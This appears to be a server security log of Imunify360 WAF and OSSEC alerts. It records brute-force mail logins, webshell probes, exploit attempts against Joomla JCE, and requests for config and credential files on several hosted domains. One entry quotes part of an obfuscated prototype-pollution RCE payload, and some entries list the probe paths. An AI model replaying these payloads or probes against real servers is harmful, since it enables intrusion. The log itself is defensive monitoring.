2026-07-19 02:02:08 dovecot_login authenticator failed for H=(110-25-105-240.adsl.fetnet.net) [219.248.65.30]:36790: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.127.125.129
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/wp-conflg.php||SC:/home/interceptorgloba/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-19 02:03:42 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([49.124.149.47]) [89.67.39.124]:37002: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.132.209.110
country_id: 6252001
description:
2026-07-19 02:04:02 dovecot_login authenticator failed for H=(110-25-112-132.adsl.fetnet.net) [47.132.209.110]:49478: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.65.70
country_id: 163843
description:
2026-07-19 02:04:09 dovecot_login authenticator failed for H=(114-30-104-218.tpgi.com.au) [205.209.65.70]:50546: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.103.131.36
country_id: 3865483
description:
2026-07-19 02:04:22 dovecot_login authenticator failed for H=([196.188.97.28]) [155.103.131.36]:42088: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.105.123.207
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/our-clients HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-19 02:16:55 dovecot_login authenticator failed for H=(230.red-213-96-11.staticip.rima-tde.net) [24.187.213.29]:48726: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-19 02:17:02 dovecot_login authenticator failed for H=(pppoe-78-111-249-76.dynamic.tvingo.ru) [182.95.228.194]:33108: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.127.125.129
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/ogocindia/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-19 02:18:07 dovecot_login authenticator failed for H=([102.211.7.162]) [80.233.12.109]:58331: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.172
country_id: 1668284
description:
2026-07-19 02:17:44 dovecot_login authenticator failed for H=221-120-57-172.emome-ip.hinet.net ([36.144.72.180]) [221.120.57.172]:32856: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.179.206.48
country_id: 6252001
description:
2026-07-19 02:23:40 dovecot_login authenticator failed for H=([45.118.49.18]) [72.179.206.48]:33581: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.253.122.190
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap884.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.150.235.52
country_id: 2661886
description:
2026-07-19 02:33:05 dovecot_login authenticator failed for H=c188-150-235-52.bredband.tele2.se ([217.59.129.132]) [188.150.235.52]:46322: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.97.120
country_id: 337996
description:
2026-07-19 02:33:34 dovecot_login authenticator failed for H=([67.201.58.185]) [196.188.97.120]:55368: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.9.176
country_id: 6252001
description:
2026-07-19 02:33:17 dovecot_login authenticator failed for H=([222.173.138.250]) [70.120.9.176]:54811: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.119.34
country_id: 1835841
description:
2026-07-19 02:33:27 dovecot_login authenticator failed for H=(200-159-117-25.customer.tdatabrasil.net.br) [118.33.119.34]:60328: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 43.228.157.75
country_id: 1168579
domain: www.ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/apikey/apikey.php?test=hello||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 43.228.157.75
country_id: 1168579
domain: www.ibmcglobal.com
description:
IM360 WAF: Block .suspected files||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/content/apismtp/apismtp.php.suspected||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.104.218
country_id: 2077456
description:
2026-07-19 02:40:50 dovecot_login authenticator failed for H=114-30-104-218.tpgi.com.au ([114.202.80.152]) [114.30.104.218]:45155: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.1.115.39
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es30?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.139.140
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/home-theatre-is-not-a-luxury-it-is-a-trend-of-a-covid-era-report-on-kerala-kaumudi HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-19 02:44:36 dovecot_login authenticator failed for H=([118.37.27.11]) [50.121.186.125]:58700: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-19 02:44:58 dovecot_login authenticator failed for H=([98.170.57.236]) [203.194.5.183]:59048: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 159.223.67.142
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:159.223.67.142||TA:159.223.67.142||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.79.200.239
country_id: 1562822
description:
2026-07-19 02:49:57 dovecot_login authenticator failed for H=([84.225.51.158]) [27.79.200.239]:48016: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-19 02:49:35 dovecot_login authenticator failed for H=([191.217.23.65]) [181.56.174.63]:46104: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.214.176.173
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.214.176.173||TA:173.214.176.173||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.197.130
country_id: 1269750
description:
2026-07-19 02:57:53 dovecot_login authenticator failed for H=([170.9.53.196]) [152.52.197.130]:56300: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-19 02:58:44 dovecot_login authenticator failed for H=([181.54.70.40]) [49.124.205.169]:54138: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.90.79.30
country_id: 3686110
description:
2026-07-19 02:58:11 dovecot_login authenticator failed for H=([192.252.210.237]) [190.90.79.30]:60836: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.95.64.28
country_id: 6252001
description:
2026-07-19 03:01:03 dovecot_login authenticator failed for H=(111-70-29-130.emome-ip.hinet.net) [70.95.64.28]:57264: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-19 03:01:53 dovecot_login authenticator failed for H=([45.167.249.253]) [182.95.217.202]:33170: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-19 03:01:26 dovecot_login authenticator failed for H=(nsg-corporate-130.221.187.122.airtel.in) [65.20.131.63]:52076: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.144.138
country_id: 6252001
description:
2026-07-19 03:09:49 dovecot_login authenticator failed for H=([27.128.162.146]) [154.14.144.138]:42237: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.201.173
country_id: 660013
description:
2026-07-19 03:09:58 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc9-173.dhcp.inet.fi (karuna.divineled.com) [80.223.201.173]:35474: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 98.181.137.83
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://play.google.com/store/apps/details?id=com.foreximf.client\">Aplikasi Trading Emas</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 89.147.162.130
country_id: 286963
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.betting-casinos.com/sports-betting.htm\">sportsbook betting near me online</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.174.170.34
country_id: 6252001
description:
2026-07-19 03:20:40 dovecot_login authenticator failed for H=([72.37.217.1]) [70.174.170.34]:47257: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.17.214
country_id: 1668284
description:
2026-07-19 03:20:50 dovecot_login authenticator failed for H=111-70-17-214.emome-ip.hinet.net (red.138.118.213.068.ssservicios.com.ar) [111.70.17.214]:46661: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.39.214.184
country_id: 953987
description:
2026-07-19 03:24:05 dovecot_plain authenticator failed for H=(localhost) [196.39.214.184]:56254: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.168.197.245
country_id: 1269750
description:
2026-07-19 03:26:17 dovecot_login authenticator failed for H=(2-55-88-51.orange.net.il) [122.168.197.245]:56920: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-07-19 03:26:21 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (suble) [73.145.107.251]:53018: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77469916
abuser: 188.119.26.145
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcebhodbiio.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-19 03:34:58 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([49.124.153.41]) [85.195.9.20]:55068: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-19 03:35:21 dovecot_login authenticator failed for H=([122.114.35.15]) [49.158.208.139]:47200: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-19 03:40:05 dovecot_login authenticator failed for H=(ip-50-5-205-174.dynamic.fuse.net) [101.13.4.119]:36510: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-19 03:39:30 dovecot_login authenticator failed for H=([218.17.217.141]) [125.23.204.74]:41572: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-19 03:39:51 dovecot_login authenticator failed for H=(broadband-178-140-129-139.ip.moscow.rt.ru) [218.156.8.97]:43316: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 89.105.220.237
country_id: 6252001
domain: gsmex.global
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:gsmex||


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: www.interceptorglobal.in
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"$462142fe\":\"d069cd5a919fd4e1\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"data_e9abbadd\":\"267c8b34363a8b4b\",\"then\":\"$1:__proto__:then\",\"_response\":{\"_prefix\":\"var rqkn=arguments['\\\\x31'];var tka=rqkn;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"er\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-07-19 03:49:40 dovecot_login authenticator failed for H=([222.116.10.170]) [210.1.66.154]:59129: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.84.217.86
country_id: 241170
description:
2026-07-19 03:49:56 dovecot_login authenticator failed for H=([223.243.24.178]) [154.84.217.86]:51504: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.211.246.182
country_id: 2077456
description:
2026-07-19 03:50:49 dovecot_login authenticator failed for H=([14.46.19.209]) [157.211.246.182]:42187: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.80.104
country_id: 1269750
description:
2026-07-19 03:50:27 dovecot_login authenticator failed for H=([192.252.220.90]) [106.201.80.104]:40824: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.27.132.165
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/home-theater-products/v5010i-4k-rgb-laser-tv-projector HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.46.78.163
country_id: 294640
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap366.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.161.149.202
country_id: 2300660
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/directors HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 89.105.220.233
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:interceptorgloba||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-19 03:55:40 dovecot_login authenticator failed for H=([187.50.193.126]) [122.185.101.50]:35916: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.60.128.241
country_id: 1269750
description:
2026-07-19 03:58:28 dovecot_login authenticator failed for H=([49.124.148.19]) [182.60.128.241]:42156: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.243.7
country_id: 1668284
description:
2026-07-19 03:58:47 dovecot_login authenticator failed for H=211-21-243-7.hinet-ip.hinet.net ([98.181.137.75]) [211.21.243.7]:60040: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.23.66.99
country_id: 1643084
description:
2026-07-19 03:59:22 dovecot_login authenticator failed for H=([113.53.251.101]) [182.23.66.99]:7608: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-19 03:59:11 dovecot_login authenticator failed for H=(203-219-172-24.tpgi.com.au) [200.107.163.195]:5560: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 196.115.176.244
country_id: 2542007
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceby1seld1.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.231.242.113
country_id: 3624060
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/services/home-theater-installation/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 35.189.35.210
country_id: 2077456
domain: metrodigitals.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 81.171.72.135
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:globalgroupoman||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 35.189.35.210
country_id: 2077456
domain: metrodigitals.com
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.32||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77243320
abuser: 35.189.35.210
country_id: 2077456
domain: metrodigitals.com
name:
IM360 WAF: Information disclosure vulnerability in Cloud Foundry PHP Buildpack (aka php-buildpack) before 4.3.18 and PHP Buildpack Cf-release before 242 as used in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.38 and 1.7.x before 1.7.19 and other products (CVE-2016-6639)

description:
IM360 WAF: Information disclosure vulnerability in Cloud Foundry PHP Buildpack (aka php-buildpack) before 4.3.18 and PHP Buildpack Cf-release before 242 as used in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.38 and 1.7.x before 1.7.19 and other products (CVE-2016-6639)||MVN:REQUEST_FILENAME||MV:/.profile||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.189.35.210
country_id: 2077456
domain: metrodigitals.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:metrodigitals||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-19 04:09:24 dovecot_login authenticator failed for H=([113.140.95.2]) [182.95.176.122]:36760: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.9
country_id: 1733045
description:
2026-07-19 04:09:47 dovecot_login authenticator failed for H=(xdsl.62.192.159.96.srvc.fr) [49.124.151.9]:57394: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-19 04:11:55 dovecot_login authenticator failed for H=([14.46.19.209]) [128.185.33.241]:42451: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.151
country_id: 1668284
description:
2026-07-19 04:12:14 dovecot_login authenticator failed for H=111-70-29-151.emome-ip.hinet.net ([199.187.210.51]) [111.70.29.151]:48587: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.190.195.77
country_id: 3996063
description:
2026-07-19 04:18:14 dovecot_plain authenticator failed for H=fixed-187-190-195-77.totalplay.net (localhost) [187.190.195.77]:12684: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.215.142
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/public-address-pa-and-voice-alarm-systems HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.205
country_id: 337996
description:
2026-07-19 04:20:58 dovecot_login authenticator failed for H=(ip184-182-240-1.mc.at.cox.net) [196.188.187.205]:32952: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.24.163.29
country_id: 1835841
description:
2026-07-19 04:21:24 dovecot_login authenticator failed for H=(host241.sub-63-42-190.myvzw.com) [59.24.163.29]:37488: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.9.229
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/combinations.in/robots.txt HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.175.66.233
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://kings96.net/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.90.251
country_id: 2921044
domain: combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/combinations.in/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.30.233
country_id: 3017382
domain: www.combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.combinations.in/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.253.198
country_id: 3017382
domain: combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/combinations.in/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.38.4
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/combinations.in/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.6.160
country_id: 6252001
domain: www.combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.combinations.in/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.232.166
country_id: 6252001
domain: www.combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.combinations.in/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.22
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/combinations.in/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-19 04:23:12 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([121.120.148.7]) [37.207.215.2]:30463: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-19 04:23:33 dovecot_login authenticator failed for H=([70.166.167.60]) [183.82.56.12]:50148: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 15.235.151.2
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://yazcorp.id\">YAZCORP.id</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.69.134.243
country_id: 1562822
description:
2026-07-19 04:41:27 dovecot_login authenticator failed for H=([117.244.16.6]) [118.69.134.243]:54416: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.179.206.48
country_id: 6252001
description:
2026-07-19 04:41:49 dovecot_login authenticator failed for H=([174.64.199.69]) [72.179.206.48]:33474: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-19 04:48:03 dovecot_login authenticator failed for H=(net-2-33-204-219.cust.dsl.teletu.it) [172.191.74.151]:40674: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.200.109
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/gallo-accoustics-round-sound?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
